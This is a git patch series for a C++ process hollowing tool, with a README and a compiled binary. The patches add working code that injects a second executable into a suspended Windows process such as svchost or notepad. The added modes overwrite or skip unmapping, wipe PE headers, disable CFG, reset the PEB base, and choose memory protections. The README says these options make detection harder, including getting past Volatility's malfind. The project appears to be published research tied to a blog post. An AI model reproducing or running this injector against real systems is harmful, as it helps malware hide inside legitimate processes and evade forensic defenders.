From a664ff25af4eeeacb18adb9aaa9e92fc1a2324d8 Mon Sep 17 00:00:00 2001 From: Frank Block Date: Thu, 29 Sep 2022 21:50:58 +0200 Subject: [PATCH 1/7] Added overwrite and no-unmap method to this project --- .../ProcessHollowing/ProcessHollowing.cpp | 761 ++++++++++++++---- 1 file changed, 624 insertions(+), 137 deletions(-) diff --git a/sourcecode/ProcessHollowing/ProcessHollowing.cpp b/sourcecode/ProcessHollowing/ProcessHollowing.cpp index 2c33945..9396db4 100644 --- a/sourcecode/ProcessHollowing/ProcessHollowing.cpp +++ b/sourcecode/ProcessHollowing/ProcessHollowing.cpp @@ -5,27 +5,230 @@ #include "internals.h" #include "pe.h" -void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile) +//#define ENABLE_PAUSE + +// ######## for SetProcessValidCallTargets +// Taken from https://github.com/BreakingMalwareResearch/CFGExceptions +#include +#define KERNELBASE ("kernelbase.dll") +#define SETPROCESSVALIDCALLTARGETS ("SetProcessValidCallTargets") +#define CFG_CALL_TARGET_VALID (0x00000001) + +typedef struct _CFG_CALL_TARGET_INFO +{ + ULONG_PTR Offset; + ULONG_PTR Flags; +} CFG_CALL_TARGET_INFO, *PCFG_CALL_TARGET_INFO; + +typedef BOOL(WINAPI *_SetProcessValidCallTargets)( + HANDLE hProcess, + PVOID VirtualAddress, + SIZE_T RegionSize, + ULONG NumberOfOffsets, + PCFG_CALL_TARGET_INFO OffsetInformation + ); + +int GetFunctionAddressFromDll( + PSTR pszDllName, + PSTR pszFunctionName, + PVOID *ppvFunctionAddress + ) +{ + HMODULE hModule = NULL; + PVOID pvFunctionAddress = NULL; + int eReturn = -1; + + hModule = GetModuleHandleA(pszDllName); + if (NULL == hModule) + { + printf("GetModuleHandleA failed for GetFunctionAddressFromDll.\n"); + eReturn = -10; + goto lblCleanup; + } + + pvFunctionAddress = GetProcAddress(hModule, pszFunctionName); + if (NULL == pvFunctionAddress) + { + printf("GetProcAddress failed for GetFunctionAddressFromDll.\n"); + eReturn = -20; + goto lblCleanup; + } + *ppvFunctionAddress = pvFunctionAddress; + eReturn = 0; + +lblCleanup: + return eReturn; + +} + +// ######################### + +void sysError(){ + + WCHAR sysMsg[256] = { NULL }; + + FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + NULL, + GetLastError(), + MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), + sysMsg, + 256, + NULL); + + wprintf(L" FAILED WITH ERROR CODE: %ls\n", sysMsg); +} + +BOOL SetPrivDebug(){ + DWORD procPID = NULL; + HANDLE hProcess = NULL; + HANDLE hToken = NULL; + LUID luid; + TOKEN_PRIVILEGES tp; + + procPID = GetCurrentProcessId(); + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, procPID); + if (hProcess == NULL){ + printf("\n WARNING: OpenProcess() ERROR!\n"); + sysError(); + CloseHandle(hProcess); + return false; + } + + if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken)){ + printf("\n WARNING: OpenProcessToken() ERROR!\n"); + sysError(); + CloseHandle(hToken); + return false; + } + if (!LookupPrivilegeValue(NULL, TEXT("SeDebugPrivilege"), &luid)){ + printf("\n WARNING: LookupPrivilegeValue() ERROR!\n"); + sysError(); + return false; + } + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)){ + printf("\n WARNING: AdjustTokenPrivileges() ERROR!"); + sysError(); + return false; + } + if (GetLastError() == ERROR_NOT_ALL_ASSIGNED){ + printf("The token does not have the specified privilege. \n"); + return false; + } + return true; +} + + +int DisableCfg(LPPROCESS_INFORMATION pProcessInfo, DWORD victim_size, PVOID victim_base_addr, DWORD cfg_size, PVOID cfg_base){ + printf("Starting DisableCfg for base %p and cfg base %p\n", victim_base_addr, cfg_base); + //SetProcessValidCallTargets + _SetProcessValidCallTargets pfnSetProcessValidCallTargets = NULL; + int ret_val = 0; + // Get the address of KernelBase!SetProcessValidCallTargets + GetFunctionAddressFromDll( + KERNELBASE, + SETPROCESSVALIDCALLTARGETS, + (PVOID *)&pfnSetProcessValidCallTargets + ); + if (pfnSetProcessValidCallTargets == NULL){ + printf("\nRetrieving SetProcessValidCallTargets failed...\n"); + sysError(); + return -1; + } + else { + // Depending on https://docs.microsoft.com/en-us/windows/win32/memory/-cfg-call-target-info#members + // the CFG_CALL_TARGET_INFO.Offset "should be 16 byte aligned". + for (unsigned long long i = 0; (i + 15) < cfg_size; i += 16){ + //printf("%d", i); + //printf("Address of SetProcessValidCallTargets: %p\n", pfnSetProcessValidCallTargets); + CFG_CALL_TARGET_INFO tCfgCallTargetInfo = { 0 }; + tCfgCallTargetInfo.Flags = CFG_CALL_TARGET_VALID; + //tCfgCallTargetInfo.Offset = (ULONG_PTR)newBaseAddress - (ULONG_PTR)newBaseAddress; + tCfgCallTargetInfo.Offset = (ULONG_PTR)cfg_base - (ULONG_PTR)victim_base_addr + (ULONG_PTR)i; + + if (!pfnSetProcessValidCallTargets( + pProcessInfo->hProcess, + victim_base_addr, + (size_t)victim_size, + (ULONG)1, + &tCfgCallTargetInfo + )) + { + printf("offset 0x%llx for module base %p and cfg base 0x%p failed.\n", i, victim_base_addr, cfg_base); + sysError(); + ret_val = -1; + } + } + } + return ret_val; +} + +// Returns the page protection equivalent (usable by VirtualProtect) for the given characteristics value of a PE Section +DWORD map_sec_prot_to_page_prot(DWORD sec_characteristics){ + DWORD sec_prot = (sec_characteristics & IMAGE_SCN_MEM_EXECUTE) | (sec_characteristics & IMAGE_SCN_MEM_READ) | (sec_characteristics & IMAGE_SCN_MEM_WRITE); + DWORD page_prot; + + switch (sec_prot) + { + case IMAGE_SCN_MEM_EXECUTE: + page_prot = PAGE_EXECUTE; + break; + case IMAGE_SCN_MEM_READ: + page_prot = PAGE_READONLY; + break; + case (IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE): + page_prot = PAGE_READWRITE; + break; + case (IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE) : + page_prot = PAGE_EXECUTE_READ; + break; + case (IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE) : + page_prot = PAGE_EXECUTE_READWRITE; + break; + default: + page_prot = PAGE_READONLY; + } + + return page_prot; +} + +void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile, char* mode) { - printf("Creating process\r\n"); + if (!SetPrivDebug()) + printf("Enabling debug priv didn't work, probably we are not running with " + "appropriate rights. In most cases this shouldn't be a problem, so we simply " + "proceed.\n\n"); + + char * s = mode; + while (*s) { + *s = tolower((unsigned char) *s); + s++; + } +#ifdef ENABLE_PAUSE + printf("Press Enter when ready to create the victim process.\n"); + system("pause"); +#endif + printf("[*] Creating victim process...\r\n"); LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); - + CreateProcessA - ( + ( + 0, + pDestCmdLine, + 0, + 0, + 0, + CREATE_SUSPENDED, + 0, 0, - pDestCmdLine, - 0, - 0, - 0, - CREATE_SUSPENDED, - 0, - 0, - pStartupInfo, + pStartupInfo, pProcessInfo - ); + ); if (!pProcessInfo->hProcess) { @@ -33,23 +236,25 @@ void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile) return; } + DWORD peb_address = FindRemotePEB(pProcessInfo->hProcess); + size_t image_base_offset = offsetof(PEB, ImageBaseAddress); + printf("Address of PEB->ImageBaseAddress field in victim process: %x\n", peb_address + image_base_offset); PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess); + PLOADED_IMAGE victim_image = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress); - PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress); - - printf("Opening source image\r\n"); + printf("Opening malicious image\r\n"); HANDLE hFile = CreateFileA - ( + ( pSourceFile, - GENERIC_READ, - 0, - 0, - OPEN_ALWAYS, - 0, + GENERIC_READ, + 0, + 0, + OPEN_ALWAYS, + 0, 0 - ); + ); if (hFile == INVALID_HANDLE_VALUE) { @@ -65,72 +270,165 @@ void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile) PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer); PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer); + DWORD victim_size = victim_image->FileHeader->OptionalHeader.SizeOfImage; + DWORD inject_size = pSourceHeaders->OptionalHeader.SizeOfImage; - printf("Unmapping destination section\r\n"); + printf("Inject size: %x Victim Size: %x\n", inject_size, victim_size); - HMODULE hNTDLL = GetModuleHandleA("ntdll"); + PVOID origBaseAddress = pPEB->ImageBaseAddress; + PVOID newBaseAddress = pPEB->ImageBaseAddress; + printf("ImageBaseAddress in target process: %x\n", origBaseAddress); - FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection"); + if (strstr(mode, "normal")){ - _NtUnmapViewOfSection NtUnmapViewOfSection = - (_NtUnmapViewOfSection)fpNtUnmapViewOfSection; +#ifdef ENABLE_PAUSE + printf("Press Enter to continue with unmapping.\r\n"); + system("pause"); +#endif + printf("[*] Unmapping destination section\r\n"); - DWORD dwResult = NtUnmapViewOfSection - ( - pProcessInfo->hProcess, - pPEB->ImageBaseAddress - ); + HMODULE hNTDLL = GetModuleHandleA("ntdll"); - if (dwResult) - { - printf("Error unmapping section\r\n"); - return; + FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection"); + + _NtUnmapViewOfSection NtUnmapViewOfSection = + (_NtUnmapViewOfSection)fpNtUnmapViewOfSection; + + DWORD dwResult = NtUnmapViewOfSection + ( + pProcessInfo->hProcess, + newBaseAddress + ); + + if (dwResult) + { + printf("Error unmapping section\r\n"); + return; + } + else + printf("Section unmapped successfully.\r\n"); } - printf("Allocating memory\r\n"); - PVOID pRemoteImage = VirtualAllocEx - ( - pProcessInfo->hProcess, - pPEB->ImageBaseAddress, - pSourceHeaders->OptionalHeader.SizeOfImage, - MEM_COMMIT | MEM_RESERVE, - PAGE_EXECUTE_READWRITE - ); + else if (strstr(mode, "overwrite")){ + printf("[*] Starting to overwrite victim executable...\r\n"); + printf("First, we are setting the protection of the victim to RWX.\r\n"); + DWORD oldProtection; + VirtualProtectEx + ( + pProcessInfo->hProcess, + newBaseAddress, + victim_size, + PAGE_EXECUTE_READWRITE, + &oldProtection + ); + +#ifdef ENABLE_PAUSE + printf("Press enter when ready to clear the victim executable.\n"); + system("pause"); +#endif + printf("First, we overwrite the whole victim memory with null bytes.\n"); + // Clearing space for the new executable + char* nullbytes = (char*)malloc(victim_size); + memset(nullbytes, 0, victim_size); + WriteProcessMemory( + pProcessInfo->hProcess, + newBaseAddress, + nullbytes, + victim_size, + 0 + ); + printf("Victim executable cleared with null bytes.\n"); + } - if (!pRemoteImage) - { - printf("VirtualAllocEx call failed\r\n"); - return; + if (strstr(mode, "normal") || strstr(mode, "nounmap")){ +#ifdef ENABLE_PAUSE + printf("Press enter when ready to create new memory area for the executable.\n"); + system("pause"); +#endif + DWORD pageProtection = PAGE_EXECUTE_READWRITE; + + if (strstr(mode, "nx")) + pageProtection = PAGE_READONLY; + + if (strstr(mode, "nounmap")){ + printf("[*] Now creating a new memory area for our new PE file.\n"); + newBaseAddress = NULL; + } + + PVOID pRemoteImage = VirtualAllocEx + ( + pProcessInfo->hProcess, + newBaseAddress, + inject_size, + MEM_COMMIT | MEM_RESERVE, + pageProtection + ); + + if (!pRemoteImage) + { + printf("VirtualAllocEx call failed\r\n"); + sysError(); + return; + } + + if (strstr(mode, "nounmap")) + newBaseAddress = pRemoteImage; + + printf("Allocated memory at %p\r\n", pRemoteImage); + + if (strstr(mode, "nx")){ + DWORD oldProtection; + VirtualProtectEx + ( + pProcessInfo->hProcess, + newBaseAddress, + inject_size, + PAGE_EXECUTE_READWRITE, + &oldProtection + ); + } } - DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - + DWORD dwDelta = (DWORD)newBaseAddress - pSourceHeaders->OptionalHeader.ImageBase; - printf - ( + printf( + "Old image location: 0x%p\r\n" + "New image location: 0x%p\r\n", + pPEB->ImageBaseAddress, + newBaseAddress + ); + + printf( "Source image base: 0x%p\r\n" "Destination image base: 0x%p\r\n", pSourceHeaders->OptionalHeader.ImageBase, - pPEB->ImageBaseAddress - ); + newBaseAddress + ); printf("Relocation delta: 0x%p\r\n", dwDelta); - pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress; + pSourceHeaders->OptionalHeader.ImageBase = (DWORD)newBaseAddress; + +#ifdef ENABLE_PAUSE + printf("Press enter when ready to write the new executable.\n"); + system("pause"); +#endif + printf("[*] Starting to write new executable...\r\n"); printf("Writing headers\r\n"); if (!WriteProcessMemory - ( - pProcessInfo->hProcess, - pPEB->ImageBaseAddress, - pBuffer, - pSourceHeaders->OptionalHeader.SizeOfHeaders, + ( + pProcessInfo->hProcess, + newBaseAddress, + pBuffer, + pSourceHeaders->OptionalHeader.SizeOfHeaders, 0 - )) + )) { - printf("Error writing process memory\r\n"); + printf("Error writing PE header\r\n"); return; } @@ -140,87 +438,89 @@ void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile) if (!pSourceImage->Sections[x].PointerToRawData) continue; - PVOID pSectionDestination = - (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress); + PVOID pSectionDestination = + (PVOID)((DWORD)newBaseAddress + pSourceImage->Sections[x].VirtualAddress); printf("Writing %s section to 0x%p\r\n", pSourceImage->Sections[x].Name, pSectionDestination); if (!WriteProcessMemory - ( - pProcessInfo->hProcess, - pSectionDestination, + ( + pProcessInfo->hProcess, + pSectionDestination, &pBuffer[pSourceImage->Sections[x].PointerToRawData], pSourceImage->Sections[x].SizeOfRawData, 0 - )) + )) { - printf ("Error writing process memory\r\n"); + printf("Error writing process memory\r\n"); return; } - } - if (dwDelta) + if (strstr(mode, "disablecfg")){ + if (pSourceImage->Sections[x].Characteristics & IMAGE_SCN_MEM_EXECUTE){ + printf("[*] Disabling CFG for section %s.\n", pSourceImage->Sections[x].Name); + DisableCfg(pProcessInfo, victim_size, newBaseAddress, pSourceImage->Sections[x].SizeOfRawData, pSectionDestination); + } + } + } + + if (dwDelta){ for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) { - char* pSectionName = ".reloc"; + char* pSectionName = ".reloc"; if (memcmp(pSourceImage->Sections[x].Name, pSectionName, strlen(pSectionName))) continue; - printf("Rebasing image\r\n"); + printf("[*] Rebasing image\r\n"); DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData; DWORD dwOffset = 0; - IMAGE_DATA_DIRECTORY relocData = + IMAGE_DATA_DIRECTORY relocData = pSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; while (dwOffset < relocData.Size) { - PBASE_RELOCATION_BLOCK pBlockheader = + PBASE_RELOCATION_BLOCK pBlockheader = (PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset]; dwOffset += sizeof(BASE_RELOCATION_BLOCK); DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize); - PBASE_RELOCATION_ENTRY pBlocks = + PBASE_RELOCATION_ENTRY pBlocks = (PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset]; - for (DWORD y = 0; y < dwEntryCount; y++) + for (DWORD y = 0; y < dwEntryCount; y++) { dwOffset += sizeof(BASE_RELOCATION_ENTRY); if (pBlocks[y].Type == 0) continue; - DWORD dwFieldAddress = + DWORD dwFieldAddress = pBlockheader->PageAddress + pBlocks[y].Offset; DWORD dwBuffer = 0; ReadProcessMemory - ( - pProcessInfo->hProcess, - (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), + ( + pProcessInfo->hProcess, + (PVOID)((DWORD)newBaseAddress + dwFieldAddress), &dwBuffer, sizeof(DWORD), 0 - ); - - //printf("Relocating 0x%p -> 0x%p\r\n", dwBuffer, dwBuffer - dwDelta); + ); dwBuffer += dwDelta; - BOOL bSuccess = WriteProcessMemory - ( + if (!WriteProcessMemory( pProcessInfo->hProcess, - (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), + (PVOID)((DWORD)newBaseAddress + dwFieldAddress), &dwBuffer, sizeof(DWORD), 0 - ); - - if (!bSuccess) + )) { printf("Error writing memory\r\n"); continue; @@ -230,76 +530,263 @@ void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile) break; } + } + DWORD dwBreakpoint = 0xCC; - DWORD dwBreakpoint = 0xCC; + printf("Calculating new entrypoint: %x + %x\r\n", newBaseAddress, pSourceHeaders->OptionalHeader.AddressOfEntryPoint); + DWORD dwEntrypoint = (DWORD)newBaseAddress + + pSourceHeaders->OptionalHeader.AddressOfEntryPoint; - DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress + - pSourceHeaders->OptionalHeader.AddressOfEntryPoint; #ifdef WRITE_BP - printf("Writing breakpoint\r\n"); + printf("Writing breakpoint\r\n"); - if (!WriteProcessMemory - ( - pProcessInfo->hProcess, - (PVOID)dwEntrypoint, - &dwBreakpoint, - 4, - 0 - )) - { - printf("Error writing breakpoint\r\n"); - return; - } + if (!WriteProcessMemory + ( + pProcessInfo->hProcess, + (PVOID)dwEntrypoint, + &dwBreakpoint, + 4, + 0 + )) + { + printf("Error writing breakpoint\r\n"); + return; + } #endif - LPCONTEXT pContext = new CONTEXT(); - pContext->ContextFlags = CONTEXT_INTEGER; + if (strstr(mode, "overwrite")) + FlushInstructionCache( + pProcessInfo->hProcess, + newBaseAddress, + pSourceHeaders->OptionalHeader.SizeOfHeaders); + + LPCONTEXT pContext = new CONTEXT(); + pContext->ContextFlags = CONTEXT_INTEGER; + + printf("Getting thread context\r\n"); + + if (!GetThreadContext(pProcessInfo->hThread, pContext)) + { + printf("Error getting context\r\n"); + return; + } + + pContext->Eax = dwEntrypoint; + printf("Thread context - EBX: %x\n", pContext->Ebx); + + printf("Setting thread context\r\n"); + + if (!SetThreadContext(pProcessInfo->hThread, pContext)) + { + printf("Error setting context\r\n"); + return; + } + printf("Entrypoint: %x\r\n", dwEntrypoint); + DWORD tempBuffer = 0; + + printf("Entrypoint of new image in source: %x\r\n", pSourceImage->FileHeader->OptionalHeader.AddressOfEntryPoint); + PLOADED_IMAGE newImage = ReadRemoteImage(pProcessInfo->hProcess, newBaseAddress); + printf("Entrypoint of new image in destination: %x\r\n", newImage->FileHeader->OptionalHeader.AddressOfEntryPoint); + + printf("Orig PEB Imagebase: %x\n", pPEB->ImageBaseAddress); + // Necessary for the no-unmap cases + SetRemoteImageBase(pProcessInfo->hProcess, (DWORD)newBaseAddress); + pPEB = ReadRemotePEB(pProcessInfo->hProcess); + printf("New PEB Imagebase: %x\n", pPEB->ImageBaseAddress); + - printf("Getting thread context\r\n"); - if (!GetThreadContext(pProcessInfo->hThread, pContext)) + printf("[*] Everything ready"); +#ifdef ENABLE_PAUSE + printf(", press enter to resume thread\r\n"); + system("pause"); +#else + printf(".\r\n"); +#endif + + + if (strstr(mode, "setsecprot")){ +#ifdef ENABLE_PAUSE + printf("Press enter when ready to set the section protections.\n"); + system("pause"); +#endif + // We are now setting the correct PE section protections + // This makes most sense in the 'overwrite' mode, to let the mapped executable appear "normal" + printf("[*] Starting to set the Section protections...\n"); + DWORD oldProtect = 0; + + printf("First, we set everything to read only: At the one hand for " + "the zero'ed memory after our newly injected executable, at the other " + "for the PE header.\n"); + DWORD protect_size = inject_size; + if (strstr(mode, "overwrite")) + protect_size = victim_size; + + if (!VirtualProtectEx( + pProcessInfo->hProcess, + newBaseAddress, + protect_size, + //pSourceHeaders->OptionalHeader.SizeOfHeaders, + PAGE_READWRITE, + &oldProtect)) { - printf("Error getting context\r\n"); - return; + printf("Error while setting ReadWrite\r\n"); + sysError(); } - pContext->Eax = dwEntrypoint; - printf("Setting thread context\r\n"); + // Now setting each section + for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++) + { + + if (!pSourceImage->Sections[x].PointerToRawData) + continue; + + PVOID pSectionDestination = + (PVOID)((DWORD)newBaseAddress + pSourceImage->Sections[x].VirtualAddress); + + DWORD new_protection = map_sec_prot_to_page_prot(pSourceImage->Sections[x].Characteristics); + DWORD section_size = pSourceImage->Sections[x].SizeOfRawData; + printf("Now setting the protection of section %s at %p with size 0x%x to 0x%x\r\n", pSourceImage->Sections[x].Name, pSectionDestination, section_size, new_protection); + + if (!VirtualProtectEx + ( + pProcessInfo->hProcess, + pSectionDestination, + section_size, + new_protection, + &oldProtect + )) + { + printf("Setting the protection for section %s failed.\r\n", pSourceImage->Sections[x].Name); + sysError(); + } + } - if (!SetThreadContext(pProcessInfo->hThread, pContext)) + if (VirtualProtectEx( + pProcessInfo->hProcess, + newBaseAddress, + 0x1000, + PAGE_READONLY, + &oldProtect)) { - printf("Error setting context\r\n"); - return; + printf("Successfully set the header to ReadOnly.\r\n"); } + else{ + printf("Settting the header to ReadOnly failed.\r\n"); + sysError(); + } + } - printf("Resuming thread\r\n"); + printf("[*] Resuming thread...\r\n"); - if (!ResumeThread(pProcessInfo->hThread)) - { - printf("Error resuming thread\r\n"); - return; + if (!ResumeThread(pProcessInfo->hThread)) + { + printf("Error resuming thread\r\n"); + return; + } + + if (strstr(mode, "resetbase") || strstr(mode, "clear")){ + Sleep(1000); + // If we clear the header or even just the MZ bytes before the process is fully + // set up (this can e.g., happen for Windows Desktop applications or in the context + // of not yet loaded DLLs), the new process might not be able to work correctly. + // This can be reproduced with a sleep of 2 seconds in the malicious executable before + // any API calls are made (so it waits after the overwrite). We observed some weird + // spawning of new victim processes in these cases, that die right afterwards. + // For reproducing purposes, the code allows to clear without rebase. + if (strstr(mode, "resetbase")){ +#ifdef ENABLE_PAUSE + printf("Press enter when ready to reset PEB base address.\n"); + system("pause"); +#endif + printf("[*] Now resetting PEB ImageBaseAddress...\n"); + + pPEB = ReadRemotePEB(pProcessInfo->hProcess); + printf("Currently set PEB Imagebase: %x\n", pPEB->ImageBaseAddress); + DWORD new_base = (DWORD)origBaseAddress; + if (strstr(mode, "resetbasentdll")){ + new_base = (DWORD)GetModuleHandle(L"ntdll"); + } + SetRemoteImageBase(pProcessInfo->hProcess, new_base); + pPEB = ReadRemotePEB(pProcessInfo->hProcess); + printf("Final PEB Imagebase: %x\n", pPEB->ImageBaseAddress); + printf("Reset done.\r\n"); + } + else{ + printf("WARNING: clearing the header without resetting the base might have bad side effects. " + "It is advised to also use 'resetBase'.\r\n"); + } + if (strstr(mode, "clear")){ +#ifdef ENABLE_PAUSE + printf("Press enter when ready to clear the header bytes.\n"); + system("pause"); +#endif + DWORD oldProtect = 0; + if (strstr(mode, "setsecprot")) + { + VirtualProtectEx( + pProcessInfo->hProcess, + newBaseAddress, + 0x1000, + PAGE_READWRITE, + &oldProtect); + } + DWORD clear_count = 0; + if (strstr(mode, "clearmz")){ + clear_count = 2; + printf("[*] Now clearing MZ magic bytes.\n"); + } + else{ + // In this case, we clear the whole header (clearHeader) + clear_count = pSourceHeaders->OptionalHeader.SizeOfHeaders; + printf("[*] Now clearing all headers, which have a total size of 0x%x.\n", clear_count); + } + + char* nullbytes = (char*)malloc(clear_count); + memset(nullbytes, 0, clear_count); + WriteProcessMemory(pProcessInfo->hProcess, newBaseAddress, nullbytes, clear_count, 0); + if (strstr(mode, "setsecprot")) + { + VirtualProtectEx( + pProcessInfo->hProcess, + newBaseAddress, + 0x1000, + PAGE_READONLY, + &oldProtect); + } + printf("Clearing done.\n"); } + } + + printf("[*] Process hollowing complete\r\n"); - printf("Process hollowing complete\r\n"); } -int _tmain(int argc, _TCHAR* argv[]) +int main(int argc, char* argv[]) { - char* pPath = new char[MAX_PATH]; - GetModuleFileNameA(0, pPath, MAX_PATH); - pPath[strrchr(pPath, '\\') - pPath + 1] = 0; - strcat(pPath, "helloworld.exe"); - - CreateHollowedProcess - ( - "svchost", - pPath - ); - + char* pPath = "helloworld.exe"; + char* victim_process = "notepad"; + char* mode = "normal"; + + if (argc > 1) + victim_process = argv[1]; + if (argc > 2) + pPath = argv[2]; + if (argc > 3) + mode = argv[3]; + // Example Usage: + // ProcessHollowing.exe + // ProcessHollowing.exe c:\Windows\SysWOW64\notepad.exe HelloWorld.exe overwrite_disableCFG_setSecProt + + CreateHollowedProcess(victim_process, pPath, mode); + +#ifdef ENABLE_PAUSE + printf("All done, press enter to exit.\n"); system("pause"); +#endif return 0; -} \ No newline at end of file +} From f31f535fefdb283fa96760abe536bb3c0f7ca53d Mon Sep 17 00:00:00 2001 From: Frank Block Date: Thu, 29 Sep 2022 21:54:46 +0200 Subject: [PATCH 2/7] Updated readme --- README.md | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/README.md b/README.md index a379dcf..0d3c6ce 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,37 @@ +# Process Hollowing + +This project is based on John Leitch's implementation of Process Hollowing but with some further features: It allows to influence the way the hollowed process is set up and can make the detection harder. The following mode switches are supported and can also be (up until a certain point) be combined: + +Three switches to control the main operation: + +- `normal`: Behaves like John Leitch's implementation. +- `overwrite`: Simply overwrites the victim executable in place, instead of unmapping. +- `nounmap`: Leaves the victim executable in place and allocates a new memory area for the malicious one. + +6 switches to control certain details: + +- `nx`: Allocates the new memory with an initial protection of read-only. Can be used to circumvent e.g., Volatility's malfind plugin. This switch only works for `normal` and `nounmap`. +- `clearHeader`: Clears the whole header of the malicious executable. This switch mainly makes sense for`nounmap`. +- `clearMZ`: Clears just the MZ magic bytes of the malicious executable. This switch mainly makes sense for `nounmap`. +- `setSecProt`: Sets the protections of the injected PE file's pages according to its header. Mainly interesting for the `overwrite` method, as it makes it appear more benign instead of a big RWX memory area. +- `disableCFG`: Sets all call targets in the malicious executable as valid. This switch is only necessary for the overwrite method and also only with a CFG enabled victim. +- `resetBase`: Sets the `PEB`'s `ImageBaseAddress` back to the original value. This switch only makes sense for the `nounmap` switch and will set the `ImageBaseAddress` to the not unmapped victim executable after the thread has been resumed. + + +The first argument is the victim executable, the second the malicious one and the third is the mode switch. The switches can be combined but must form one string (simply combine them with the underscore). The following command sets up a svchost.exe victim with HelloWorld.exe as the new malicious process in a new memory area (no-unmap approach) while clearing the header and resetting the base to its original value at the end: + +```shell +ProcessHollowing.exe C:\Windows\SysWOW64\svchost.exe HelloWorld.exe nounmap_clearHeader_resetbase +``` + +For further details see this [blog post](). + +Following the original Readme by John Leitch. + + + +=============================================== + # Process Hollowing Full Credits to: John Leitch john@autosectools.com http://www.autosectools.com From 5bb6589c163c784cf58059933a79ba5f8d48b753 Mon Sep 17 00:00:00 2001 From: Frank Block Date: Thu, 29 Sep 2022 23:22:36 +0200 Subject: [PATCH 3/7] added blog post URL --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 0d3c6ce..388d232 100644 --- a/README.md +++ b/README.md @@ -24,7 +24,7 @@ The first argument is the victim executable, the second the malicious one and th ProcessHollowing.exe C:\Windows\SysWOW64\svchost.exe HelloWorld.exe nounmap_clearHeader_resetbase ``` -For further details see this [blog post](). +For further details see this [blog post](https://insinuator.net/2022/09/some-experiments-with-process-hollowing/). Following the original Readme by John Leitch. From 255dcd318f15bc258b1c21e73b228187001491c7 Mon Sep 17 00:00:00 2001 From: Frank Block Date: Thu, 29 Sep 2022 23:25:03 +0200 Subject: [PATCH 4/7] updated ProcessHollowing.exe --- executables/ProcessHollowing.exe | Bin 10752 -> 15872 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/executables/ProcessHollowing.exe b/executables/ProcessHollowing.exe index 344e158b5d6b8cd7592aa984a6bf803abbecbec1..ca4ea6f3d2efebee7e046fc20f3a86ad711b7485 100644 GIT binary patch literal 15872 zcmeHudwg5fo#(MFJ5HiRCY4(Q4qSqQ&Ehz+9*!(qu^d~j4R#_wa1uyj6zkeoLY7?V zDsgCN6BK7~FK(GBbeWy90}Zq=(+8aaLV$wPge0_qNqK~Hp&fT7WtBSJ^*|;Bn&$5J zckY!fCt=&q?)8eeJsEa@t|n>$usPjsPRXDRF&~yKn^hWUyA_(P4;;d zbYwqXu&&h5*u4}yeiX>es!_5YFJt4C@kE>q&2_y46~ennF)z`Ji;)-*Nq07cLbAD0 zvK}vEtFoG(RsRDlaI12n*)#9Ml%SOhN`L`>--FRTFbT7buwRi)d%DE9W zSvd;50~_WS(o~b z(rnnI4L_RwfPd<=QIlZw)^jsL$nBT#muvpdIghoUNsSkFgbicu=Q{jdYVkTK#kI+n z=IBu_PhrnmZj#aV^V2pl*wx8fF1CnV^Jkdi++p9j8B?gq^DxF&4AKeA*4buU#9?99 zlYYL0vD85$nKH~cv}Y|1EOtQZk52SnJ%0V6P2{7aT@aP#r}BaFaoUTC4UZ@%Fo=NY z)P}&PhTcuL9|&7#b2Npm#O{_EcFHYv%AvfUkFGZMn)bF9jIK5VvU5KvK+qBpnPo88 zYv*YLCheol?`8H^Mt$e)(PqO_k+9W1oJmhLk_UDBN%?k{16`C(t0Y^@fTW=L`d0$MP_ zO;R_fcOFd`D!o!w)i97PXxqoZ0ptxj`LXtNhot71Xa*Rx;T6*Gtl{bfj8CR#k3YCj 